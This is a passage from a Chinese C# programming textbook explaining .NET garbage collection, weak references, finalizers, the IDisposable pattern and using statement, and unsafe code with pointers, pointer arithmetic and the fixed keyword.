保存堆的状态信息,在堆中添加新数据时,这些信息也需要更新。尽管有这些性能开销, 但仍有一种机制,在给变量分配内存时,不会受到栈的限制。把一个引用变量的值赋予另 一个相同类型的变量,就有两个变量引用内存中的同一对象了。当一个引用变量超出作用 域时,它会从栈中删除,如上一节所述,但引用对象的数据仍保留在堆中,一直到程序终 止,或垃圾回收器删除它为止,而只有在该数据不再被任何变量引用时,它才会被删除。 这就是引用数据类型的强大之处,在C#代码中广泛使用了这个特性。这说明,我们 可以对数据的生存期进行非常强大的控制,因为只要保持对数据的引用,该数据就肯定存 在于堆上。 5.2.3 垃圾回收 由上面的讨论和图5-3和图5-4可以看出,托管堆的工作方式非常类似于栈,对象会在 内存中一个挨一个地放置,这样就很容易使用指向下一个空闲存储单元的堆指针来确定下 一个对象的位置。在堆上添加更多的对象时,也容易调整。但这比较复杂,因为基于堆的 对象的生存期与引用它们的基于栈的变量的作用域不匹配。 图5-5 在垃圾回收器运行时,它会从堆中删除不再引用的所 有对象。垃圾回收器在引用的根表中找到所有引用的对 象,接着在引用的对象树中查找。在完成删除操作后,堆 会立即把对象分散开来,与已经释放的内存混合在一起, 如图5-5所示。 如果托管的堆也是这样,在其上给新对象分配内存就 成为一个很难处理的过程,运行库必须搜索整个堆,才能 找到足够大的内存块来存储每个新对象。但是,垃圾回收 器不会让堆处于这种状态。只要它释放了能释放的所有对 象,就会把其他对象移动回堆的端部,再次形成一个连续 的内存块。因此,堆可以继续像栈那样确定在什么地方存 储新对象。当然,在移动对象时,这些对象的所有引用都 需要用正确的新地址来更新,但垃圾回收器也会处理更新问题。 垃圾回收器的这个压缩操作是托管的堆与非托管的堆的区别所在。使用托管的堆,就 只需要读取堆指针的值即可,而不需要遍历地址的链表,来查找一个地方放置新数据。  注意: 一般情况下,垃圾回收器在.NET运行库确定需要进行垃圾回收时运 行。可以调用System.GC.Collect()方法,强迫垃圾回收器在代码的某个地方运行。 System.GC类是一个表示垃圾回收器的.NET类,Collect()方法启动一个垃圾回收过 程。但是,GC类适用的场合很少,例如,代码中有大量的对象刚刚取消引用,就适合 调用垃圾回收器。但是,垃圾回收器的逻辑不能保证在一次垃圾收集过程中,所有未 引用的对象都从堆中删除。  注意: 在测试过程中运行GC是很有用的。这样,就可以看到应该回收的对 象仍然未回收而导致的内存泄漏。因为垃圾回收器的工作做得很好,所以不要在生产 代码中以编程方式回收内存。如果以编程方式调用Collect,对象会更快地移入下一代, 如下所示。这将导致GC运行更多的时间。 创建对象时,会把这些对象放在托管堆上。堆的第一部分称为第0代。创建新对象 时,会把它们移动到堆的这个部分中。因此,这里驻留了最新的对象。 对象会继续放在这个部分,直到垃圾回收过程第一次进行回收。这个清理过程之后仍 保留的对象会被压缩,然后移动到堆的下一部分上或世代部分——第1代对应的部分。 此时,第0代对应的部分为空,所有的新对象都再次放在这一部分上。在垃圾回收过 程中遗留下来的旧对象放在第1代对应的部分上。老对象的这种移动会再次发生。接着重 复下一次回收过程。这意味着,第1代中在垃圾回收过程中遗留下来的对象会移动到堆的 第2代,位于第0代的对象会移动到第1代,第0代仍用于放置新对象。  注意: 有趣的是,在给对象分配内存空间时,如果超出了第0代对应的部分 的容量,或者调用了GC.Collect()方法,就会进行垃圾回收。 这个过程极大地提高了应用程序的性能。一般而言,最新的对象通常是可以回收的对 象,而且可能也会回收大量比较新的对象。如果这些对象在堆中的位置是相邻的,垃圾回 收过程就会更快。另外,相关的对象相邻放置也会使程序执行得更快。 在.NET中,垃圾回收提高性能的另一个领域是架构处理堆上较大对象的方式。 在.NET下,较大对象有自己的托管堆,称为大对象堆。使用大于85 000个字节的对象时, 它们就会放在这个特殊的堆上,而不是主堆上。.NET应用程序不知道两者的区别,因为 这是自动完成的。其原因是在堆上压缩大对象是比较昂贵的,因此驻留在大对象堆上的对 象不执行压缩过程。 在进一步改进垃圾回收过程后,第二代和大对象堆上的回收现在放在后台线程上进 行。这表示,应用程序线程仅会为第0代和第1代的回收而阻塞,减少了总暂停时间,对于 大型服务器应用程序尤其如此。服务器和工作站默认打开这个功能。 有助于提高应用程序性能的另一个优化是垃圾回收的平衡,它专用于服务器的垃圾回 收。服务器一般有一个线程池,执行大致相同的工作。内存分配在所有线程上都是类似 的。对于服务器,每个逻辑服务器都有一个垃圾回收堆。因此其中一个堆用尽了内存,触 发了垃圾回收过程时,所有其他堆也可能会得益于垃圾的回收。如果一个线程使用的内存 远远多于其他线程,导致垃圾回收,其他线程可能不需要垃圾回收,这就不是很高效。垃 圾回收过程会平衡这些堆——小对象堆和大对象堆。进行这个平衡过程,可以减少不必要 的回收。 为了利用包含大量内存的硬件,垃圾回收过程添加了GCSettings.LatencyMode属性。 把这个属性设置为GCLatencyMode枚举的一个值,可以控制垃圾回收器进行回收的方式。 表5-1列出了GCLatencyMode可用的值。 表5-1 GCLatencyMode的设置 成员 说明 Batch 禁用并发设置,把垃圾回收设置为最大吞吐量。这会重写配 置设置 Interactive 工作站的默认行为。它使用垃圾回收并发设置,平衡吞吐量 和响应 LowLatency 保守的垃圾回收。只有系统存在内存压力时,才进行完整的 回收。只应用于较短时间,执行特定的操作 SustainedLowLatency 只有系统存在内存压力时,才进行完整的内存块回收 NoGCRegion .NET 4.6新增成员。对于GCSettings,这是一个只读属性。 可以在代码块中调用GC.TryStartNoGC-Region和 EndNoGCRegion来设置它。调用TryStartNoGCRegion,定义 需要可用的、GC试图访问的内存大小。成功调用 TryStartNoGCRegion后,指定不应运行的垃圾回收器,直到 调用EndNoGCRegion为止 LowLatency或NoGCRegion设置使用的时间应为最小值,分配的内存量应尽可能小。 如果不小心,就可能出现溢出内存错误。 5.3 强引用和弱引用 垃圾回收器不能回收仍在引用的对象的内存——这是一个强引用。它可以回收不在根 表中直接或间接引用的托管内存。然而,有时可能会忘记释放引用。  注意: 如果对象相互引用,但没有在根表中引用,例如,对象A引用B, B引 用C, C引用A,则GC可以销毁所有这些对象。 在应用程序代码内实例化一个类或结构时,只要有代码引用它,就会形成强引用。例 如,如果有一个类MyClass,并创建了一个变量myClassVariable来引用该类的对象,那么 只要myClassVariable在作用域内,就存在对MyClass对象的强引用,如下所示: var myClassVariable = new MyClass(); 这意味着垃圾回收器不会清理MyClass对象使用的内存。一般而言这是好事,因为可 能需要访问MyClass对象,可以创建一个缓存对象,它引用其他几个对象,如下: var myCache = new MyCache(); myCache.Add(myClassVariable); 现在使用完myClassVariable了。它可以超出作用域,或指定为null: myClassVariable = null; 如果垃圾回收器现在运行,就不能释放myClassVariable引用的内存,因为该对象仍在 缓存对象中引用。这样的引用可以很容易忘记,使用WeakReference可以避免这种情况。  注意: 使用事件很容易错过引用的清理。此时也可以使用弱引用。 弱引用允许创建和使用对象,但是垃圾回收器碰巧在运行,就会回收对象并释放内 存。由于存在潜在的bug和性能问题,一般不会这么做,但是在特定的情况下使用弱引用 是很合理的。弱引用对小对象也没有意义,因为弱引用有自己的开销,这个开销可能是比 小对象更大。 弱引用是使用WeakReference类创建的。使用构造函数,可以传递强引用。示例代码 创建了一个DataObject,并传递构造函数返回的引用。在使用WeakReference时,可以检查 IsAlive属性。再次使用该对象时,WeakReference的Target属性就返回一个强引用。如果属 性返回的值不是null,就可以使用强引用。因为对象可能在任意时刻被回收,所以在引用 该对象前必须确认它存在。成功检索强引用后,可以通过正常方式使用它,现在它不能被 垃圾回收,因为它有一个强引用: // Instantiate a weak reference to MathTest object var myWeakReference = new WeakReference(new DataObject()); if (myWeakReference.IsAlive) { DataObject strongReference = myWeakReference.Target as DataObject; if (strongReference ! = null) { // use the strongReference } } else { // reference not available } 5.4 处理非托管的资源 垃圾回收器的出现意味着,通常不需要担心不再需要的对象,只要让这些对象的所有 引用都超出作用域,并允许垃圾回收器在需要时释放内存即可。但是,垃圾回收器不知道 如何释放非托管的资源(例如,文件句柄、网络连接和数据库连接)。托管类在封装对非 托管资源的直接或间接引用时,需要制定专门的规则,确保非托管的资源在回收类的一个 实例时释放。 在定义一个类时,可以使用两种机制来自动释放非托管的资源。这些机制常常放在一 起实现,因为每种机制都为问题提供了略为不同的解决方法。这两种机制是: ● 声明一个析构函数(或终结器),作为类的一个成员 ● 在类中实现System.IDisposable接口 下面依次讨论这两种机制,然后介绍如何同时实现它们,以获得最佳的效果。 5.4.1 析构函数或终结器 前面介绍了构造函数可以指定必须在创建类的实例时进行的某些操作。相反,在垃圾 回收器销毁对象之前,也可以调用析构函数。由于执行这个操作,因此析构函数初看起来 似乎是放置释放非托管资源、执行一般清理操作的代码的最佳地方。但是,事情并不是如 此简单。  注意: 在讨论C#中的析构函数时,在底层的.NET体系结构中,这些函数称 为终结器(finalizer)。在C#中定义析构函数时,编译器发送给程序集的实际上是 Finalize()方法。它不会影响源代码,但如果需要查看生成的IL代码,就应知道这个 事实。 C++开发人员应很熟悉析构函数的语法。它看起来类似于一个方法,与包含的类同 名,但有一个前缀波形符(~)。它没有返回类型,不带参数,没有访问修饰符。下面是 一个例子: class MyClass { ~MyClass() { // Finalizer implementation } } C#编译器在编译析构函数时,它会隐式地把析构函数的代码编译为等价于重写 Finalize()方法的代码,从而确保执行父类的Finalize()方法。下面列出的C#代码等价 于编译器为~MyClass()析构函数生成的IL: protected override void Finalize() { try { // Finalizer implementation } finally { base.Finalize(); } } 如上所示,在~MyClass()析构函数中实现的代码封装在Finalize()方法的一个try 块中。对父类的Finalize()方法的调用放在finally块中,确保该调用的执行。第14章会讨 论try块和finally块。 有经验的C++开发人员大量使用了析构函数,有时不仅用于清理资源,还提供调试信 息或执行其他任务。C#析构函数要比C++析构函数的使用少得多。与C++析构函数相比, C#析构函数的问题是它们的不确定性。在销毁C++对象时,其析构函数会立即运行。但由 于使用C#时垃圾回收器的工作方式,无法确定C#对象的析构函数何时执行。所以,不能 在析构函数中放置需要在某一时刻运行的代码,也不应寄望于析构函数会以特定顺序对不 同类的实例调用。如果对象占用了宝贵而重要的资源,应尽快释放这些资源,此时就不能 等待垃圾回收器来释放了。 另一个问题是C#析构函数的实现会延迟对象最终从内存中删除的时间。没有析构函 数的对象会在垃圾回收器的一次处理中从内存中删除,但有析构函数的对象需要两次处理 才能销毁:第一次调用析构函数时,没有删除对象,第二次调用才真正删除对象。另外, 运行库使用一个线程来执行所有对象的Finalize()方法。如果频繁使用析构函数,而且 使用它们执行长时间的清理任务,对性能的影响就会非常显著。 5.4.2 IDisposable接口 在C#中,推荐使用System.IDisposable接口替代析构函数。IDisposable接口定义了一种 模式(具有语言级的支持),该模式为释放非托管的资源提供了确定的机制,并避免产生 析构函数固有的与垃圾回收器相关的问题。IDisposable接口声明了一个Dispose()方法, 它不带参数,返回void。MyClass类的Dispose()方法的实现代码如下: class MyClass: IDisposable { public void Dispose() { // implementation } } Dispose()方法的实现代码显式地释放由对象直接使用的所有非托管资源,并在所 有也实现IDisposable接口的封装对象上调用Dispose()方法。这样,Dispose()方法为 何时释放非托管资源提供了精确的控制。 假定有一个ResourceGobbler类,它需要使用某些外部资源,且实现IDisposable接口。 如果要实例化这个类的实例,使用它,然后释放它,就可以使用下面的代码: var theInstance = new ResourceGobbler(); // do your processing theInstance.Dispose(); 但是,如果在处理过程中出现异常,这段代码就没有释放theInstance使用的资源,所 以应使用try块,编写下面的代码: ResourceGobbler theInstance = null; try { theInstance = new ResourceGobbler(); // do your processing } finally { theInstance? .Dispose(); } 5.4.3 using语句 使用try/finally,即使在处理过程中出现了异常,也可以确保总是在theInstance上调用 Dispose()方法,总是释放theInstance使用的任意资源。但是,如果总是要重复这样的结 构,代码就很容易被混淆。C#提供了一种语法,可以确保在实现IDisposable接口的对象的 引用超出作用域时,在该对象上自动调用Dispose()方法。该语法使用了using关键字来 完成此工作——该关键字在完全不同的环境下,它与名称空间没有关系。下面的代码生成 与try块等价的IL代码: using (var theInstance = new ResourceGobbler()) { // do your processing } using语句的后面是一对圆括号,其中是引用变量的声明和实例化,该语句使变量的 作用域限定在随后的语句块中。另外,在变量超出作用域时,即使出现异常,也会自动调 用其Dispose()方法。  注意: using关键字在C#中有多个用法。using声明用于导入名称空间。using 语句处理实现IDisposable的对象,并在作用域的末尾调用Dispose方法。  注意: .NET Framework中的几个类有Close和Dispose方法。如果常常要关闭 资源(如文件和数据库),就实现Close和Dispose方法。此时Close()方法只是调用 Dispose()方法。这种方法在类的使用上比较清晰,还支持using语句。新类只实现了 Dispose方法,因为我们已经习惯了它。 5.4.4 实现IDisposable接口和析构函数 前面的章节讨论了自定义类所使用的释放非托管资源的两种方式: ● 利用运行库强制执行的析构函数,但析构函数的执行是不确定的,而且,由于垃圾 回收器的工作方式,它会给运行库增加不可接受的系统开销。 ● IDisposable接口提供了一种机制,该机制允许类的用户控制释放资源的时间,但需 要确保调用Dispose()方法。 如果创建了终结器,就应该实现IDisposable接口。假定大多数程序员都能正确调用 Dispose()方法,同时把实现析构函数作为一种安全机制,以防没有调用Dispose()方 法。下面是一个双重实现的例子: using System; public class ResourceHolder: IDisposable { private bool _isDisposed = false; public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (! _isDisposed) { if (disposing) { // Cleanup managed objects by calling their // Dispose() methods. } // Cleanup unmanaged objects } _isDisposed = true; } ~ResourceHolder() { Dispose (false); } public void SomeMethod() { // Ensure object not already disposed before execution of any method if(_isDisposed) { throw new ObjectDisposedException("ResourceHolder"); } // method implementation… } } 从上述代码可以看出,Dispose()方法有第二个protected重载方法,它带一个布尔参 数,这是真正完成清理工作的方法。Dispose(bool)方法由析构函数和 IDisposable.Dispose()方法调用。这种方式的重点是确保所有的清理代码都放在一个地 方。 传递给Dispose(bool)方法的参数表示Dispose(bool)方法是由析构函数调用,还是 由IDisposable.Dispose()方法调用——Dispose(bool)方法不应从代码的其他地方调 用,其原因是: ● 如果使用者调用IDisposable.Dispose()方法,该使用者就指定应清理所有与该对 象相关的资源,包括托管和非托管的资源。 ● 如果调用了析构函数,原则上所有的资源仍需要清理。但是在这种情况下,析构函 数必须由垃圾回收器调用,而且用户不应试图访问其他托管的对象,因为我们不 再能确定它们的状态了。在这种情况下,最好清理已知的非托管资源,希望任何 引用的托管对象还有析构函数,这些析构函数执行自己的清理过程。 _isDisposed成员变量表示对象是否已被清理,并确保不试图多次清理成员变量。它还 允许在执行实例方法之前测试对象是否已清理,如SomeMethod()方法所示。这个简单 的方法不是线程安全的,需要调用者确保在同一时刻只有一个线程调用方法。要求使用者 进行同步是一个合理的假定,在整个.NET类库中(例如,在Collection类中)反复使用了 这个假定。第21和22章将讨论线程和同步。 最后,IDisposable.Dispose()方法包含一个对System.GC.SuppressFinalize()方法的 调用。GC类表示垃圾回收器,SuppressFinalize()方法则告诉垃圾回收器有一个类不再 需要调用其析构函数了。因为Dispose()方法已经完成了所有需要的清理工作,所以析 构函数不需要做任何工作。调用SuppressFinalize()方法就意味着垃圾回收器认为这个对 象根本没有析构函数。 5.4.5 IDisposable和终结器的规则 学习了终结器和IDisposable接口后,就已经了解了Dispose模式和使用这些构造的规 则。因为释放资源是托管代码的一个重要方面,下面总结如下规则: ● 如果类定义了实现IDisposable的成员,该类也应该实现IDisposable。 ● 实现IDisposable并不意味着也应该实现一个终结器。终结器会带来额外的开销,因 为它需要创建一个对象,释放该对象的内存,需要GC的额外处理。只在需要时才 应该实现终结器,例如,发布本机资源。要释放本机资源,就需要终结器。 ● 如果实现了终结器,也应该实现IDisposable接口。这样,本机资源可以早些释放, 而不仅是在GC找出被占用的资源时,才释放资源。 ● 在终结器的实现代码中,不能访问已终结的对象了。终结器的执行顺序是没有保证 的。 ● 如果所使用的一个对象实现了IDisposable接口,就在不再需要对象时调用Dispose方 法。如果在方法中使用这个对象,using语句比较方便。如果对象是类的一个成 员,就让类也实现IDisposable。 5.5 不安全的代码 如前所述,C#非常擅长于对开发人员隐藏大部分基本内存管理,因为它使用了垃圾 回收器和引用。但是,有时需要直接访问内存。例如,由于性能问题,要在外部 (非.NET环境)的DLL中访问一个函数,该函数需要把一个指针当作参数来传递(许多 Windows API函数就是这样)。本节将论述C#直接访问内存的内容的功能。 5.5.1 用指针直接访问内存 下面把指针当作一个新论题来介绍,而实际上,指针并不是新东西。因为在代码中可 以自由使用引用,而引用就是一个类型安全的指针。前面已经介绍了表示对象和数组的变 量实际上存储相应数据(被引用者)的内存地址。指针只是一个以与引用相同的方式存储 地址的变量。其区别是C#不允许直接访问在引用变量中包含的地址。有了引用后,从语 法上看,变量就可以存储引用的实际内容。 C#引用主要用于使C#语言易于使用,防止用户无意中执行某些破坏内存中内容的操 作。另一方面,使用指针,就可以访问实际内存地址,执行新类型的操作。例如,给地址 加上4个字节,就可以查看甚至修改存储在新地址中的数据。 下面是使用指针的两个主要原因: ● 向后兼容性 ——尽管.NET运行库提供了许多工具,但仍可以调用本地的Windows API函数。对于某些操作这可能是完成任务的唯一方式。这些API函数都是用 C++或C#语言编写的,通常要求把指针作为其参数。但在许多情况下,还可以使 用DllImport声明,以避免使用指针,例如,使用System.IntPtr类。 ● 性能 ——在一些情况下,速度是最重要的,而指针可以提供最优性能。假定用户 知道自己在做什么,就可以确保以最高效的方式访问或处理数据。但是,注意在 代码的其他区域中,不使用指针,也可以对性能进行必要的改进。请使用代码配 置文件,查找代码中的瓶颈,Visual Studio中就包含一个代码配置文件。 但是,这种低级的内存访问也是有代价的。使用指针的语法比引用类型的语法更复 杂。而且,指针使用起来比较困难,需要非常高的编程技巧和很强的能力,仔细考虑代码 所完成的逻辑操作,才能成功地使用指针。如果不仔细,使用指针就很容易在程序中引入 细微的、难以查找的错误。例如,很容易重写其他变量,导致栈溢出,访问某些没有存储 变量的内存区域,甚至重写.NET运行库所需要的代码信息,因而使程序崩溃。 另外,如果使用指针,就必须授予代码运行库的代码访问安全机制的高级别信任,否 则就不能执行它。在默认的代码访问安全策略中,只有代码运行在本地计算机上,这才是 可能的。如果代码必须运行在远程地点,如Internet,用户就必须给代码授予额外的许 可,代码才能工作。除非用户信任你和你的代码,否则他们不会授予这些许可,第24章将 讨论代码访问安全性。 尽管有这些问题,但指针在编写高效的代码时是一种非常强大和灵活的工具。  注意: 这里强烈建议不要轻易使用指针,否则代码不仅难以编写和调试,而 且无法通过CLR施加的内存类型安全检查。 1.用unsafe关键字编写不安全的代码 因为使用指针会带来相关的风险,所以C#只允许在特别标记的代码块中使用指针。 标记代码所用的关键字是unsafe。下面的代码把一个方法标记为unsafe: unsafe int GetSomeNumber() { // code that can use pointers } 任何方法都可以标记为unsafe——无论该方法是否应用了其他修饰符(例如,静态方 法、虚方法等)。在这种方法中,unsafe修饰符还会应用到方法的参数上,允许把指针用 作参数。还可以把整个类或结构标记为unsafe,这表示假设所有的成员都是不安全的: unsafe class MyClass { // any method in this class can now use pointers } 同样,可以把成员标记为unsafe: class MyClass { unsafe int* pX; // declaration of a pointer field in a class } 也可以把方法中的一块代码标记为unsafe: void MyMethod() { // code that doesn't use pointers unsafe { // unsafe code that uses pointers here } // more 'safe' code that doesn't use pointers } 但要注意,不能把局部变量本身标记为unsafe: int MyMethod() { unsafe int *pX; // WRONG } 如果要使用不安全的局部变量,就需要在不安全的方法或语句块中声明和使用它。在 使用指针前还有一步要完成。C#编译器会拒绝不安全的代码,除非告诉编译器代码包含 不安全的代码块。通过DNX,可以在project.json文件的compilationOptions中把allowUnsafe 设置为true(代码文件PointerPlayground/project.json): "compilationOptions": {"allowUnsafe": true}, 在传统的csc编译器中,可以设置/unsafe选项,或者使用Visual Studio 2015在Project设 置中把Build配置指定为Allow Unsafe Code: csc /unsafe MySource.cs 2.指针的语法 把代码块标记为unsafe后,就可以使用下面的语法声明指针: int* pWidth, pHeight; double* pResult; byte*[] pFlags; 这段代码声明了4个变量,pWidth和pHeight是整数指针,pResult是double型指针, pFlags是字节型的数组指针。我们常常在指针变量名的前面使用前缀p来表示这些变量是 指针。在变量声明中,符号*表示声明一个指针,换言之,就是存储特定类型的变量的地 址。 声明了指针类型的变量后,就可以用与一般变量相同的方式使用它们,但首先需要学 习另外两个运算符: ● &表示“取地址”,并把一个值数据类型转换为指针,例如,int转换为*int。这个运 算符称为寻址运算符。 ● *表示“获取地址的内容”,把一个指针转换为值数据类型(例如,*float转换为 float)。这个运算符称为“间接寻址运算符”(有时称为“取消引用运算符”)。 从这些定义中可以看出,&和*的作用是相反的。  注意: 符号&和*也表示按位AND(&)和乘法(*)运算符,为什么还可以 以这种方式使用它们?答案是在实际使用时它们是不会混淆的,用户和编译器总是知 道在什么情况下这两个符号有什么含义,因为按照指针的定义,这些符号总是以一元 运算符的形式出现——它们只作用于一个变量,并出现在代码中该变量的前面。另一 方面,按位AND和乘法运算符是二元运算符,它们需要两个操作数。 下面的代码说明了如何使用这些运算符: int x = 10; int* pX, pY; 图5-6 pX = &x; pY = pX; *pY = 20; 首先声明一个整数x,其值是10。接着声明两个整数指针pX和pY。然后把pX设置为 指向x(换言之,把pX的内容设置为x的地址)。然后把pX的值赋予pY,所以pY也指向 x。最后,在语句*pY = 20中,把值20赋予pY指向的地址包含的内容。实际上是把x的内 容改为20,因为pY指向x。注意在这里,变量pY和x之间没有任何关系。只是此时pY碰巧 指向存储x的存储单元而已。 要进一步理解这个过程,假定x存储在 栈的存储单元0x12F8C4~0x12F8C7中(十进 制就是1243332~1243335,即有4个存储单 元,因为一个int占用4个字节)。因为栈向 下分配内存,所以变量pX存储在0x12F8C0~ 0x12F8C3的位置上,pY存储在0x12F8BC~ 0x12F8BF的位置上。注意,pX和pY也分别 占用4个字节。这不是因为一个int占用4个字节,而是因为在32位处理器上,需要用4个字 节存储一个地址。利用这些地址,在执行完上述代码后,栈应如图5-6所示。  注意: 这个示例使用int来说明该过程,其中int存储在32位处理器中栈的连续 空间上,但并不是所有的数据类型都会存储在连续的空间中。原因是32位处理器最擅 长于在4个字节的内存块中检索数据。这种计算机上的内存会分解为4个字节的块,在 Windows上,每个块有时称为DWORD,因为这是32位无符号int数在.NET出现之前的名 字。这是从内存中获取DWORD的最高效的方式——跨越DWORD边界存储数据通常会 降低硬件的性能。因此,.NET运行库通常会给某些数据类型填充一些空间,使它们占 用的内存是4的倍数。例如,short数据占用两个字节,但如果把一个short放在栈中,栈 指针仍会向下移动4个字节,而不是两个字节,这样,下一个存储在栈中的变量就仍从 DWORD的边界开始存储。 可以把指针声明为任意一种值类型——即任何预定义的类型uint、int和byte等,也可 以声明为一个结构。但是不能把指针声明为一个类或数组,因为这么做会使垃圾回收器出 现问题。为了正常工作,垃圾回收器需要知道在堆上创建了什么类的实例,它们在什么地 方。但如果代码开始使用指针处理类,就很容易破坏堆中.NET运行库为垃圾回收器维护 的与类相关的信息。在这里,垃圾回收器可以访问的任何数据类型称为托管类型,而指针 只能声明为非托管类型,因为垃圾回收器不能处理它们。 3.将指针强制转换为整数类型 由于指针实际上存储了一个表示地址的整数,因此任何指针中的地址都可以和任何整 数类型之间相互转换。指针到整数类型的转换必须是显式指定的,隐式的转换是不允许 的。例如,编写下面的代码是合法的: int x = 10; int* pX, pY; pX = &x; pY = pX; *pY = 20; ulong y = (ulong)pX; int* pD = (int*)y; 把指针pX中包含的地址强制转换为一个uint,存储在变量y中。接着把y强制转换回一 个int*,存储在新变量pD中。因此pD也指向x的值。 把指针的值强制转换为整数类型的主要目的是显示它。虽然插入字符串和 Console.Write()方法没有带指针的重载方法,但是必须把指针的值强制转换为整数类 型,这两个方法才能接受和显示它们: WriteLine($"Address is {pX}"); // wrong -- will give a compilation error WriteLine($"Address is {(ulong)pX}"); // OK 可以把一个指针强制转换为任何整数类型,但是,因为在32位系统上,一个地址占用 4个字节,把指针强制转换为除了uint、long或ulong之外的数据类型,肯定会导致溢出错 误(int也可能导致这个问题,因为它的取值范围是-20亿~20亿,而地址的取值范围是0~ 40亿)。如果创建64位应用程序,就需要把指针强制转换为ulong类型。 还要注意,checked关键字不能用于涉及指针的转换。对于这种转换,即使在设置 checked的情况下,发生溢出时也不会抛出异常。.NET运行库假定,如果使用指针,就知 道自己要做什么,不必担心可能出现的溢出。 4.指针类型之间的强制转换 也可以在指向不同类型的指针之间进行显式的转换。例如: byte aByte = 8; byte* pByte= &aByte; double* pDouble = (double*)pByte; 这是一段合法的代码,但如果要执行这段代码,就要小心了。在上面的示例中,如果 要查找指针pDouble指向的double值,就会查找包含1个byte(aByte)的内存,和一些其他 内存,并把它当作包含一个double值的内存区域来对待——这不会得到一个有意义的值。 但是,可以在类型之间转换,实现C union类型的等价形式,或者把指针强制转换为其他 类型,例如,把指针转换为sbyte,来检查内存的单个字节。 5. void指针 如果要维护一个指针,但不希望指定它指向的数据类型,就可以把指针声明为void: int* pointerToInt; void* pointerToVoid; pointerToVoid = (void*)pointerToInt; void指针的主要用途是调用需要void*参数的API函数。在C#语言中,使用void指针的 情况并不是很多。特殊情况下,如果试图使用*运算符取消引用void指针,编译器就会标 记一个错误。 6.指针算术的运算 可以给指针加减整数。但是,编译器很智能,知道如何执行这个操作。例如,假定有 一个int指针,要在其值上加1。编译器会假定我们要查找int后面的存储单元,因此会给该 值加上4个字节,即加上一个int占用的字节数。如果这是一个double指针,加1就表示在指 针的值上加8个字节,即一个double占用的字节数。只有指针指向byte或sbyte(都是1个字 节)时,才会给该指针的值加上1。 可以对指针使用运算符+、-、+=、-=、++和--,这些运算符右边的变量必须是long或 ulong类型。  注意: 不允许对void指针执行算术运算。 例如,假定有如下定义: uint u = 3; byte b = 8; double d = 10.0; uint* pUint= &u; // size of a uint is 4 byte* pByte = &b; // size of a byte is 1 double* pDouble = &d; // size of a double is 8 下面假定这些指针指向的地址是: ● pUint: 1243332 ● pByte: 1243328 ● pDouble: 1243320 执行这段代码后: ++pUint; // adds (1*4) = 4 bytes to pUint pByte -= 3; // subtracts (3*1) = 3 bytes from pByte double* pDouble2 = pDouble + 4; // pDouble2 = pDouble + 32 bytes (4*8 bytes ) 指针应包含的内容是: ● pUint: 1243336 ● pByte: 1243325 ● pDouble2: 1243352  注意: 一般规则是,给类型为T的指针加上数值X,其中指针的值为P,则得 到的结果是P+ X*(sizeof(T))。使用这条规则时要小心。如果给定类型的连续值存 储在连续的存储单元中,指针加法就允许在存储单元之间移动指针。但如果类型是byte 或char,其总字节数不是4的倍数,连续值就不是默认地存储在连续的存储单元中。 如果两个指针都指向相同的数据类型,则也可以把一个指针从另一个指针中减去。此 时,结果是一个long,其值是指针值的差被该数据类型所占用的字节数整除的结果: double* pD1 = (double*)1243324; // note that it is perfectly valid to // initialize a pointer like this. double* pD2 = (double*)1243300; long L = pD1-pD2; // gives the result 3 (=24/sizeof(double)) 7. sizeof运算符 这一节将介绍如何确定各种数据类型的大小。如果需要在代码中使用某种类型的大 小,就可以使用sizeof运算符,它的参数是数据类型的名称,返回该类型占用的字节数。 例如: int x = sizeof(double); 这将设置x的值为8。 使用sizeof的优点是不必在代码中硬编码数据类型的大小,使代码的移植性更强。对 于预定义的数据类型,sizeof返回下面的值。 sizeof(sbyte) = 1; sizeof(byte) = 1; sizeof(short) = 2; sizeof(ushort) = 2; sizeof(int) = 4; sizeof(uint) = 4; sizeof(long) = 8; sizeof(ulong) = 8; sizeof(char) = 2; sizeof(float) = 4; sizeof(double) = 8; sizeof(bool) = 1; 也可以对自己定义的结构使用sizeof,但此时得到的结果取决于结构中的字段类型。 不能对类使用sizeof。 8.结构指针:指针成员访问运算符 结构指针的工作方式与预定义值类型的指针的工作方式完全相同。但是这有一个条 件:结构不能包含任何引用类型,这是因为前面介绍的一个限制——指针不能指向任何引 用类型。为了避免这种情况,如果创建一个指针,它指向包含任何引用类型的任何结构, 编译器就会标记一个错误。 假定定义了如下结构: struct MyStruct { public long X; public float F; } 就可以给它定义一个指针: MyStruct* pStruct; 然后对其进行初始化: var myStruct = new MyStruct(); pStruct = &myStruct; 也可以通过指针访问结构的成员值: (*pStruct).X = 4; (*pStruct).F = 3.4f; 但是,这个语法有点复杂。因此,C#定义了另一个运算符,用一种比较简单的语 法,通过指针访问结构的成员,它称为指针成员访问运算符,其符号是一个短划线,后跟 一个大于号,它看起来像一个箭头:->。  注意: C++开发人员能识别指针成员访问运算符。因为C++使用这个符号完 成相同的任务。 使用这个指针成员访问运算符,上述代码可以重写为: pStruct->X = 4; pStruct->F = 3.4f; 也可以直接把合适类型的指针设置为指向结构中的一个字段: long* pL = &(Struct.X); float* pF = &(Struct.F); 或者 long* pL = &(pStruct->X); float* pF = &(pStruct->F); 9.类成员指针 前面说过,不能创建指向类的指针,这是因为垃圾回收器不维护关于指针的任何信 息,只维护关于引用的信息,因此创建指向类的指针会使垃圾回收器不能正常工作。 但是,大多数类都包含值类型的成员,可以为这些值类型成员创建指针,但这需要一 种特殊的语法。例如,假定把上面示例中的结构重写为类: class MyClass { public long X; public float F; } 然后就可以为它的字段X和F创建指针了,方法与前面一样。但这么做会产生一个编 译错误: var myObject = new MyClass(); long* pL = &(myObject.X); // wrong -- compilation error float* pF = &(myObject.F); // wrong -- compilation error 尽管X和F都是非托管类型,但它们嵌入在一个对象中,这个对象存储在堆上。在垃 圾回收的过程中,垃圾回收器会把MyObject移动到内存的一个新单元上,这样,pL和pF 就会指向错误的存储地址。由于存在这个问题,因此编译器不允许以这种方式把托管类型 的成员的地址分配给指针。 解决这个问题的方法是使用fixed关键字,它会告诉垃圾回收器,可能有引用某些对 象的成员的指针,所以这些对象不能移动。如果要声明一个指针,则使用fixed的语法, 如下所示: var myObject = new MyClass(); fixed (long* pObject = &(myObject.X)) { // do something } 在关键字fixed后面的圆括号中,定义和初始化指针变量。这个指针变量(在本例中 是pObject)的作用域是花括号标识的fixed块。这样,垃圾回收器就知道,在执行fixed块 中的代码时,不能移动myObject对象。 如果要声明多个这样的指针,就可以在同一个代码块前放置多条fixed语句: var myObject = new MyClass(); fixed (long* pX = &(myObject.X)) fixed (float* pF = &(myObject.F)) 